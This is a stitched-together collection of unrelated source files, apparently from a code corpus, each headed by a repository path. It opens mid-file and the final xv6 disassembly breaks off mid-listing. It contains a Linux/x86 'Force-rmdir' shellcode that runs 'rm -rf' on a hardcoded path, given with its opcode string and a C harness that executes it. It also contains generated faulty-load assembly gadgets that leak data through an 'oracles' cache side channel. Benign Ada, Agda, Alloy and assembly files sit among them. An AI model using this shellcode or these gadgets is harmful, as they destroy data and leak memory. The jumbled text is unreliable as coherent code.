nop nop xor %r11, %r11 mov (%rbp), %di lea oracles, %r13 and $0xff, %rdi shlq $12, %rdi mov (%r13,%rdi,1), %rdi pop %rdi pop %rbx pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'8f': 1} 8f */
Linux/removedir.asm
EgeBalci/Shellcode
2
247077
Linux/x86 Force-rmdir --- WE ARE BOMBERMANS --- #Greetz : Bomberman(Leader) #Author : B3mB4m #Bomberman's owned this section BACK OFF ! /*Shellcode length depend file path.*/ #https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/convertstack.py #Use my own stack converter that's will help you ;) Disassembly of section .text: 08048060 <.text>: 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 6e 2f 72 6d push $0x6d722f6e 8048068: 68 2f 2f 62 69 push $0x69622f2f 804806d: 89 e3 mov %esp,%ebx 804806f: 50 push %eax 8048070: 68 2d 72 66 76 push $0x7666722d 8048075: 89 e1 mov %esp,%ecx 8048077: 50 push %eax 8048078: 68 bc 2f 71 65 push $0x65712fbc 804807d: 68 bc 73 74 c3 push $0xc37473bc 8048082: 68 61 73 61 c3 push $0xc3617361 ;File path 8048087: 68 34 6d 2f 4d push $0x4d2f6d34 ;Change it with converstack.py 804808c: 68 62 33 6d 62 push $0x626d3362 8048091: 68 6f 6d 65 2f push $0x2f656d6f 8048096: 68 2f 2f 2f 68 push $0x682f2f2f 804809b: 89 e2 mov %esp,%edx 804809d: 50 push %eax 804809e: 52 push %edx 804809f: 51 push %ecx 80480a0: 53 push %ebx 80480a1: 89 e7 mov %esp,%edi 80480a3: b0 0b mov $0xb,%al 80480a5: 89 f9 mov %edi,%ecx 80480a7: 31 d2 xor %edx,%edx 80480a9: cd 80 int $0x80 #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x6e\x2f\x72\x6d\x68\x2f\x2f\x62" "\x69\x89\xe3\x50\x68\x2d\x72\x66\x76\x89\xe1\x50\x68\xbc\x2f\x71\x65" "\x68\xbc\x73\x74\xc3\x68\x61\x73\x61\xc3\x68\x34\x6d\x2f\x4d\x68\x62" "\x33\x6d\x62\x68\x6f\x6d\x65\x2f\x68\x2f\x2f\x2f\x68\x89\xe2\x50\x52" "\x51\x53\x89\xe7\xb0\x0b\x89\xf9\x31\xd2\xcd\x80"; int main(void){ fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); }
Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i7-7700_9_0xca.log_5977_833.asm
ljhsiun2/medusa
9
6115
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x102ed, %r10 clflush (%r10) nop nop sub %rsi, %rsi movb $0x61, (%r10) nop nop nop nop nop xor $55888, %rsi lea addresses_UC_ht+0x1822e, %rsi nop nop nop nop xor $40313, %rdx movb (%rsi), %r13b sub $64331, %rdx lea addresses_A_ht+0x163ed, %rsi lea addresses_WT_ht+0x736d, %rdi nop nop nop nop cmp $37320, %rbp mov $85, %rcx rep movsw nop nop dec %rcx lea addresses_A_ht+0x152ed, %rbp nop nop nop and $48545, %rcx mov $0x6162636465666768, %r11 movq %r11, (%rbp) nop sub %rcx, %rcx lea addresses_normal_ht+0xdfad, %r10 inc %rcx movw $0x6162, (%r10) nop nop and $62517, %rdx lea addresses_D_ht+0x19e7d, %rsi lea addresses_D_ht+0x18bfc, %rdi nop nop nop nop nop dec %r11 mov $86, %rcx rep movsb nop nop nop nop sub %rbp, %rbp lea addresses_UC_ht+0x6ced, %rsi lea addresses_UC_ht+0x98ed, %rdi nop nop nop nop cmp %rbp, %rbp mov $104, %rcx rep movsw nop nop nop nop xor %rdx, %rdx lea addresses_normal_ht+0x3eed, %rdx and $1554, %rdi mov (%rdx), %r11 nop nop nop and %r11, %r11 lea addresses_normal_ht+0x194ed, %rdi add $28800, %rdx movb (%rdi), %r13b nop nop nop nop add %rdx, %rdx lea addresses_WC_ht+0x5b32, %rdx sub $31819, %rdi movb (%rdx), %r11b nop nop add %rdx, %rdx lea addresses_normal_ht+0x62ed, %rbp nop nop cmp %rcx, %rcx mov $0x6162636465666768, %r10 movq %r10, %xmm5 movups %xmm5, (%rbp) nop nop nop nop cmp %r13, %r13 lea addresses_UC_ht+0x9bed, %rsi lea addresses_WC_ht+0x363d, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop nop add $45937, %rbp mov $22, %rcx rep movsw nop nop nop nop nop cmp %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %rax push %rbp push %rbx push %rcx push %rdx // Store mov $0x2ed, %rcx clflush (%rcx) nop nop nop nop add $3338, %rax mov $0x5152535455565758, %rbx movq %rbx, (%rcx) nop nop nop sub $10063, %r14 // Store lea addresses_RW+0x19eed, %rbp clflush (%rbp) nop cmp $38082, %rdx movb $0x51, (%rbp) nop nop nop nop sub $2530, %r10 // Store lea addresses_A+0xf7ff, %rbp xor %rcx, %rcx movl $0x51525354, (%rbp) nop sub %rcx, %rcx // Store mov $0x11d640000000027f, %rax nop nop sub $48122, %rcx movl $0x51525354, (%rax) nop nop nop and %rbp, %rbp // Store lea addresses_D+0x102ed, %r10 nop xor $20576, %rax mov $0x5152535455565758, %rbp movq %rbp, (%r10) nop nop nop nop nop add %rcx, %rcx // Store mov $0xb2e, %r14 nop nop nop add %rbp, %rbp mov $0x5152535455565758, %r10 movq %r10, %xmm2 movups %xmm2, (%r14) // Exception!!! nop nop nop nop mov (0), %rbx nop nop cmp %rax, %rax // Store lea addresses_PSE+0xd451, %r10 nop nop nop nop nop add $64611, %rbp mov $0x5152535455565758, %rcx movq %rcx, %xmm0 movups %xmm0, (%r10) nop nop nop and $35244, %rbp // Faulty Load lea addresses_D+0x102ed, %r14 clflush (%r14) nop nop nop add %rdx, %rdx mov (%r14), %eax lea oracles, %rcx and $0xff, %rax shlq $12, %rax mov (%rcx,%rax,1), %rax pop %rdx pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_P'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_RW'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_NC'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_P'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_PSE'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 1, 'NT': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}} {'58': 5977} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
code/sqrt.asm
Masrt200/asm-disasm
0
161394
;; find the sqrt of a number ;; masrt ;; 23-5-21 section .data SYS_EXIT equ 60 EXIT_SUCCESS equ 0 NUM dd 1546213 SQRT dd 0 section .text global _start _start: mov ecx, 50 mov ebx, dword [NUM] mov dword [SQRT],ebx iter: mov eax, dword [NUM] mov edx,0 div ebx ; eax=eax/ebx , edx=eax%ebx (not important) add ebx,eax ; ebx=ebx+eax/ebx mov eax,ebx mov edx,0 mov ebx,2 div ebx ; ebx=ebx/2 mov ebx,eax dec ecx cmp ecx,0 jne iter mov dword [SQRT], ebx last: mov rax, SYS_EXIT mov rdi, EXIT_SUCCESS syscall
examples/dump_tree/errors.ads
reznikmm/gela
0
23195
-- SPDX-FileCopyrightText: 2020 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- with Program.Error_Listeners; package Errors is type Error_Listener is new Program.Error_Listeners.Error_Listener with null record; overriding procedure No_Body_Text (Self : access Error_Listener; Name : Program.Text); overriding procedure Circular_Dependency (Self : access Error_Listener; Name : Program.Text); end Errors;
test/Succeed/Issue2634.agda
cruhland/agda
1,989
16656
<reponame>cruhland/agda<gh_stars>1000+ infix 50 _∼_ postulate A : Set x : A _∼_ : A → A → Set record T : Set where -- This fixity declaration should not be ignored. infix 60 _∘_ _∘_ : A → A → A _∘_ _ _ = x field law : x ∘ x ∼ x -- Some more examples record R : Set₁ where infixl 6 _+_ field _+_ : Set → Set → Set Times : Set → Set → Set Sigma : (A : Set) → (A → Set) → Set One : Set infixl 7 _*_ _*_ = _+_ infixr 3 Σ syntax Σ A (λ a → B) = a ∈ A × B Σ = Sigma field three : One + One * One * One + One pair : x ∈ One × One + One
alloy4fun_models/trainstlt/models/4/M7JJDBRt2MwPSL9M4.als
Kaixi26/org.alloytools.alloy
0
4960
<reponame>Kaixi26/org.alloytools.alloy open main pred idM7JJDBRt2MwPSL9M4_prop5 { always all t : Train | t.pos' in t.pos.prox } pred __repair { idM7JJDBRt2MwPSL9M4_prop5 } check __repair { idM7JJDBRt2MwPSL9M4_prop5 <=> prop5o }
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1418.asm
ljhsiun2/medusa
9
90491
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rax push %rbp // Faulty Load lea addresses_RW+0x1e891, %r12 nop add $40341, %rbp mov (%r12), %rax lea oracles, %r12 and $0xff, %rax shlq $12, %rax mov (%r12,%rax,1), %rax pop %rbp pop %rax pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
zombie.asm
kishan1468/memory-management-in-xv6
0
166835
_zombie: file format elf32-i386 Disassembly of section .text: 00001000 <main>: #include "stat.h" #include "user.h" int main(void) { 1000: f3 0f 1e fb endbr32 1004: 8d 4c 24 04 lea 0x4(%esp),%ecx 1008: 83 e4 f0 and $0xfffffff0,%esp 100b: ff 71 fc pushl -0x4(%ecx) 100e: 55 push %ebp 100f: 89 e5 mov %esp,%ebp 1011: 51 push %ecx 1012: 83 ec 04 sub $0x4,%esp if(fork() > 0) 1015: e8 71 02 00 00 call 128b <fork> 101a: 85 c0 test %eax,%eax 101c: 7e 0d jle 102b <main+0x2b> sleep(5); // Let child exit before parent. 101e: 83 ec 0c sub $0xc,%esp 1021: 6a 05 push $0x5 1023: e8 fb 02 00 00 call 1323 <sleep> 1028: 83 c4 10 add $0x10,%esp exit(); 102b: e8 63 02 00 00 call 1293 <exit> 00001030 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1030: f3 0f 1e fb endbr32 1034: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 1035: 31 c0 xor %eax,%eax { 1037: 89 e5 mov %esp,%ebp 1039: 53 push %ebx 103a: 8b 4d 08 mov 0x8(%ebp),%ecx 103d: 8b 5d 0c mov 0xc(%ebp),%ebx while((*s++ = *t++) != 0) 1040: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 1044: 88 14 01 mov %dl,(%ecx,%eax,1) 1047: 83 c0 01 add $0x1,%eax 104a: 84 d2 test %dl,%dl 104c: 75 f2 jne 1040 <strcpy+0x10> ; return os; } 104e: 89 c8 mov %ecx,%eax 1050: 5b pop %ebx 1051: 5d pop %ebp 1052: c3 ret 1053: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 105a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001060 <strcmp>: int strcmp(const char *p, const char *q) { 1060: f3 0f 1e fb endbr32 1064: 55 push %ebp 1065: 89 e5 mov %esp,%ebp 1067: 53 push %ebx 1068: 8b 4d 08 mov 0x8(%ebp),%ecx 106b: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 106e: 0f b6 01 movzbl (%ecx),%eax 1071: 0f b6 1a movzbl (%edx),%ebx 1074: 84 c0 test %al,%al 1076: 75 19 jne 1091 <strcmp+0x31> 1078: eb 26 jmp 10a0 <strcmp+0x40> 107a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1080: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; 1084: 83 c1 01 add $0x1,%ecx 1087: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 108a: 0f b6 1a movzbl (%edx),%ebx 108d: 84 c0 test %al,%al 108f: 74 0f je 10a0 <strcmp+0x40> 1091: 38 d8 cmp %bl,%al 1093: 74 eb je 1080 <strcmp+0x20> return (uchar)*p - (uchar)*q; 1095: 29 d8 sub %ebx,%eax } 1097: 5b pop %ebx 1098: 5d pop %ebp 1099: c3 ret 109a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10a0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 10a2: 29 d8 sub %ebx,%eax } 10a4: 5b pop %ebx 10a5: 5d pop %ebp 10a6: c3 ret 10a7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10ae: 66 90 xchg %ax,%ax 000010b0 <strlen>: uint strlen(char *s) { 10b0: f3 0f 1e fb endbr32 10b4: 55 push %ebp 10b5: 89 e5 mov %esp,%ebp 10b7: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 10ba: 80 3a 00 cmpb $0x0,(%edx) 10bd: 74 21 je 10e0 <strlen+0x30> 10bf: 31 c0 xor %eax,%eax 10c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10c8: 83 c0 01 add $0x1,%eax 10cb: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 10cf: 89 c1 mov %eax,%ecx 10d1: 75 f5 jne 10c8 <strlen+0x18> ; return n; } 10d3: 89 c8 mov %ecx,%eax 10d5: 5d pop %ebp 10d6: c3 ret 10d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10de: 66 90 xchg %ax,%ax for(n = 0; s[n]; n++) 10e0: 31 c9 xor %ecx,%ecx } 10e2: 5d pop %ebp 10e3: 89 c8 mov %ecx,%eax 10e5: c3 ret 10e6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10ed: 8d 76 00 lea 0x0(%esi),%esi 000010f0 <memset>: void* memset(void *dst, int c, uint n) { 10f0: f3 0f 1e fb endbr32 10f4: 55 push %ebp 10f5: 89 e5 mov %esp,%ebp 10f7: 57 push %edi 10f8: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 10fb: 8b 4d 10 mov 0x10(%ebp),%ecx 10fe: 8b 45 0c mov 0xc(%ebp),%eax 1101: 89 d7 mov %edx,%edi 1103: fc cld 1104: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1106: 89 d0 mov %edx,%eax 1108: 5f pop %edi 1109: 5d pop %ebp 110a: c3 ret 110b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 110f: 90 nop 00001110 <strchr>: char* strchr(const char *s, char c) { 1110: f3 0f 1e fb endbr32 1114: 55 push %ebp 1115: 89 e5 mov %esp,%ebp 1117: 8b 45 08 mov 0x8(%ebp),%eax 111a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 111e: 0f b6 10 movzbl (%eax),%edx 1121: 84 d2 test %dl,%dl 1123: 75 16 jne 113b <strchr+0x2b> 1125: eb 21 jmp 1148 <strchr+0x38> 1127: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 112e: 66 90 xchg %ax,%ax 1130: 0f b6 50 01 movzbl 0x1(%eax),%edx 1134: 83 c0 01 add $0x1,%eax 1137: 84 d2 test %dl,%dl 1139: 74 0d je 1148 <strchr+0x38> if(*s == c) 113b: 38 d1 cmp %dl,%cl 113d: 75 f1 jne 1130 <strchr+0x20> return (char*)s; return 0; } 113f: 5d pop %ebp 1140: c3 ret 1141: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 1148: 31 c0 xor %eax,%eax } 114a: 5d pop %ebp 114b: c3 ret 114c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001150 <gets>: char* gets(char *buf, int max) { 1150: f3 0f 1e fb endbr32 1154: 55 push %ebp 1155: 89 e5 mov %esp,%ebp 1157: 57 push %edi 1158: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1159: 31 f6 xor %esi,%esi { 115b: 53 push %ebx 115c: 89 f3 mov %esi,%ebx 115e: 83 ec 1c sub $0x1c,%esp 1161: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1164: eb 33 jmp 1199 <gets+0x49> 1166: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 116d: 8d 76 00 lea 0x0(%esi),%esi 